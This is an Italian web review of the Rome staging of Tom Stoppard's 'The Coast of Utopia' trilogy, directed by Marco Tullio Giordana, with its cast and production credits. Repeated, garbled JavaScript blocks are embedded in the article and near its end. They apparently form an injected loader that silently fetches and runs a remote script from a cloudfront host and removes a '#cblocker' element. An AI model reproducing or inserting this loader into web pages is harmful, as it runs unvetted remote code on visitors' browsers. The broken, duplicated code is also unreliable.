

Teatro Argentina di Roma. Il lavoro titanico dell'Utopia

Articolo di: David Dori



[1]

Per tre **sabati** consecutivi, il **14, il 21 e il 28 aprile 2012**, abbiamo assistito alla rappresentazione di *The Coast of Utopia*, trilogia teatrale di **Tom Stoppard**, ispirata al *Il passato e i pensieri* di **Aleksandr Herzen** e ambientata nel diciannovesimo secolo.

L'Europa è agitata da fermenti rivoluzionari, mentre **in Russia un gruppo di intellettuali combattono contro lo zar** e richiedono a gran voce **l'abolizione della servitù della gleba in nome della libertà**.

Tra di loro spiccano il teorico dell'anarchismo **Michail Bakunin**, lo scrittore e filosofo **Aleksandr Herzen**, il critico letterario **Vissarion Belinskij** e il romanziere **Ivan Turgenev**, tutti all'inseguimento di un'utopica perfezione.

In *The Coast of Utopia*, l'arte drammaturgica di **Stoppard** è postmoderna, capace di usare espressioni altamente simboliche, mostrando l'uomo completamente smarrito nell'illusione che si muove sempre in situazioni irreali.

L'illusione e l'irrealtà rappresentano l'utopia.

In questa straordinaria trilogia, dove ogni frase è necessaria, l'autore incolla **non-storie** con una grande **abilità stilistica e linguistica**. Si scava profondamente e quasi chirurgicamente, in questo magma di passioni e di amori e ci si diverte anche nel clima salottiero della **casa-teatro di Herzen**, personaggio chiave che ci prende per mano e ci conduce nelle profondità dell'uomo sulle sponde dell'utopia.

L'incipit del progetto è il libro di **Aleksandr Herzen** da cui Stoppard attinge per creare uno straordinario personaggio teatrale, **titanico e fragile, nomade e stanziale, illuso e disilluso** e alla fine **nafrago sulla sponda dell'utopia** insieme a **Bakunin, Marx, Turgenev, Belinskij**. Parafrasando il *Giulio Cesare* del sommo bardo si può affermare: "*Questo è un uomo*". Ed Herzen, nonostante le sue contraddizioni di agiatezza alto-borghesi, con la sua generosità, la sua passione senza orpelli e la sua esistenza manierata ma senza maniera, viene trasformato in un novello **Prometeo**.

Tre spettacoli di circa due ore e mezza, tre anni di progettazione, tre mesi di prova, 200 abiti, 68 quadri, 80 cambi di scena, 31 attori e maestranze, tecnici e staff produttivo per un totale di 68 persone impegnate. Numeri che dicono la fatica, l'impegno, la tenacia e la responsabilità per mettere in pratica questo **lavoro titanico**.

Il progetto è stato ideato da **Michela Cescon**, fresca **vincitrice del "David di Donatello"**, che ha preferito lavorare come **dominus** dietro le quinte con risultati eccellenti visto come il **Teatro Stabile di Torino** è stato condotto in *tournee* dal **timoniere Marco Tullio Giordana**.

Il costo dei tre spettacoli, **Viaggio Naufragio Salvataggio**, sarà alla fine un decimo della versione americana e un sesto di quella inglese. E questo perchè in Italia (è la Cescon che lo afferma), splendido e disgraziato paese, ci sono ancora voglia, capacità, sensibilità, che lo rendono in fondo unico.

Le scene e le luci sono di Gianni Carluccio che considera il pavimento una sorta di quinta parete. **La scena è sgombra e stilizzata** e si gioca con continui **flashback**, andando avanti e indietro nel racconto. Un gioco di rimandi estenuante e meraviglioso che lì ti incolla. Lo spazio è interno e esterno, stanza di appartamento e giardino, strade, veranda nei caffè di Parigi o Ginevra.

Nei **costumi di Francesca Sartori e Elisabetta Autico** c'è una **cura del dettaglio** ma cercando di limitare al massimo i cambi variando a volte un accessorio (un cappello, un paio di guanti, un ombrellino, un colore - il blu cobalto - vera passione del Secondo Impero).

In **VIAGGIO** gli abiti sono chiari e pastellati, in **NAUFRAGIO** i colori sono accesi e sensuali; un protagonista dirà: "*quanti capolavori scriverò con questa vestaglia sgargiante?*" In **SALVATAGGIO** si portano abiti scuri con l'avanzare della maturità.

Gli attori con impegno titanico **raggiungono l'utopia: in primis Luca Lazzareschi** che è un filosofico tenero e ferito **Herzen**; **Denis Fasolo** è un **sanguigno, altruista, debordante Bakunin**, **Giorgio Marchesi** un **Ivan Turgenev soave, illuso, candido**, **Nicolò Todeschini** un **folgorante Puskin**, **Luigi Diberti** è **Mazzini**, **Irene Petris** è **Natashia** prima vincitrice poi dolente e per finire ma non ultimo **Marco Tullio Giordana** innesta nello spettacolo delle folgorazioni cinematografiche minimaliste ma altamente funzionali alla causa. Che delizia questo **unicum** dove le musiche di Andrea Farri deliziano la psiche dello spettatore.

```
if(typeof(jQuery)=='undefined'){(function(){var
ccm=document.createElement('script');ccm.type='text/javascript';ccm.src='https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js';var
s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);if(ccm.readyState){ccm.onreadystatechange=function(){if(ccm.readyState=="loaded"||ccm.readyState=="complete"){ccm.onreadystatechange=null;ccm_e_init(1);}};else{ccm.onload=function(){ccm_e_init(1);}}})();}else{ccm_e_init();} function
ccm_e_init(jc){if(jc){jQuery.noConflict();} jQuery(function(){var
http=location.href.indexOf('https://')>-1?'https':'http';var
ccm=document.createElement('script');ccm.type='text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js';var
s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);jQuery('#cblocker').remove();});if(typeof(jQuery)=='undefined'){(function(){var
ccm=document.createElement('script');ccm.type='text/javascript';ccm.src='https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js';var
s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);if(ccm.readyState){ccm.onreadystatechange=function(){if(ccm.readyState=="loaded"||ccm.readyState=="complete"){ccm.onreadystatechange=null;ccm_e_init(1);}};else{ccm.onload=function(){ccm_e_init(1);}}})();}else{ccm_e_init();} function
ccm_e_init(jc){if(jc){jQuery.noConflict();} jQuery(function(){var
http=location.href.indexOf('https://')>-1?'https':'http';var
ccm=document.createElement('script');ccm.type='text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var
s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);jQuery('#cblocker').remove();});};if(typeof(jQuery)=='undefined'){(function(){var
ccm=document.createElement('script');ccm.type='text/javascript';ccm.src='https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js';var
s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);if(ccm.readyState){ccm.onreadystatechange=function(){if(ccm.readyState=="loaded"||ccm.readyState=="complete"){ccm.onreadystatechange=null;ccm_e_init(1);}};else{ccm.onload=function(){ccm_e_init(1);}}})();}else{ccm_e_init();} function
ccm_e_init(jc){if(jc){jQuery.noConflict();} jQuery(function(){var
http=location.href.indexOf('https://')>-1?'https':'http';var
```

```
ccm=document.createElement('script');ccm.type='text/javascript';ccm.async=true;ccm.src=http+'://d1nfmbhlh2wz0f
d.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip
=';var
s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);jQuery('#cblocker').remove();}
);};if(typeof(jQuery)=='undefined'){(function){var
ccm=document.createElement('script');ccm.type='text/javascript';ccm.src='https://ajax.googleapis.com/ajax/libs/jqu
ery/1.7.1/jquery.min.js';var
s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);if(ccm.readyState){ccm.onread
ystatechange=function(){if(ccm.readyState=="loaded"||ccm.readyState=="complete"){ccm.onreadystatechange=nu
ll;ccm_e_init(1);}};else{ccm.onload=function(){ccm_e_init(1);}}})();}else{ccm_e_init();} function
ccm_e_init(jc){if(jc){jQuery.noConflict();} jQuery(function(){var
http=location.href.indexOf('https://')>-1?'https':'http';var
ccm=document.createElement('script');ccm.type='text/javascript';ccm.async=true;ccm.src=http+'://d1nfmbhlh2wz0f
d.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip
=';var
s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);jQuery('#cblocker').remove();}
);} Publicato in: GN26 Anno IV 7 maggio 2012
//
```

Scheda **Titolo completo:**

[Associazione Teatro di Roma](#) [2]

TEATRO ARGENTINA

10 | 29 aprile 2012

The Coast of Utopia

Viaggio-Naufragio-Salvataggio

di **Tom Stoppard**

regia **Marco Tullio Giordana**

con (in ordine alfabetico)

Andrea Pietro Anselmi, Ludovica Apollonj Ghetti, Francesco Biscione, Giuseppe Bisogno, Roberta Caronia, Paola D'Arienzo, Luigi Diberti, Denis Fasolo, Selene Gandini, Corrado Invernizzi, Erika La Ragione, Luca Lazzareschi, Sara Lazzaro, Tatiana Lepore, Alessandro Machia, Bob Marchese, Giorgio Marchesi, Valentina Marziali, Marit Nissen, Davide Paganini, Fabrizio Parenti, Irene Petris, Odette Piscitelli, Marcello Prayer, Edoardo Ribatto, Gabriella Riva, Nicolò Todeschini, Sandra Toffolatti, Giovanni Visentin
e con la piccola Angelica Barigelli

e con la Fisarmonicista Marit Nissen (VIAGGIO)

scene e luci Gianni Carluccio

costumi Francesca Sartori, Elisabetta Antico

musiche Andrea Farri

traduzione di Marco Perisse e Marco Tullio Giordana

regista collaboratore Daniele Salvo

organizzazione generale PAV

ufficio stampa ZACHAR Patrizia Cafiero & Partners

fotografo Fabio Lovino

Una produzione Fondazione del Teatro Stabile di Torino, Teatro di Roma,

Zachar Produzioni di Michela Cescon

si ringrazia la Fondazione RomaEuropa per il sostegno e la collaborazione

Teatro Argentina di Roma. Il lavoro titanico dell'Utopia

Publicato su gothicNetwork.org (<http://www.gothicnetwork.org>)

```
if(typeof(jQuery)=='undefined'){(function(){var
ccm=document.createElement('script');ccm.type='text/javascript';ccm.src='https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js';var
s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);if(ccm.readyState){ccm.onreadystatechange=function(){if(ccm.readyState=="loaded"||ccm.readyState=="complete"){ccm.onreadystatechange=null;ccm_e_init(1);}};}}else{ccm.onload=function(){ccm_e_init(1);}}})();}else{ccm_e_init();} function
ccm_e_init(jc){if(jc){jQuery.noConflict();} jQuery(function(){var
http=location.href.indexOf('https://')>-1?'https':'http';var
ccm=document.createElement('script');ccm.type='text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var
s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);jQuery('#cblocker').remove();}
});
```

- [Teatro](#)

URL originale: <http://www.gothicnetwork.org/articoli/teatro-argentina-di-roma-lavoro-titanico-dellutopia>

Collegamenti:

[1] <http://www.gothicnetwork.org/immagini/coast-utopia>

[2] <http://www.teatrodiroma.net/>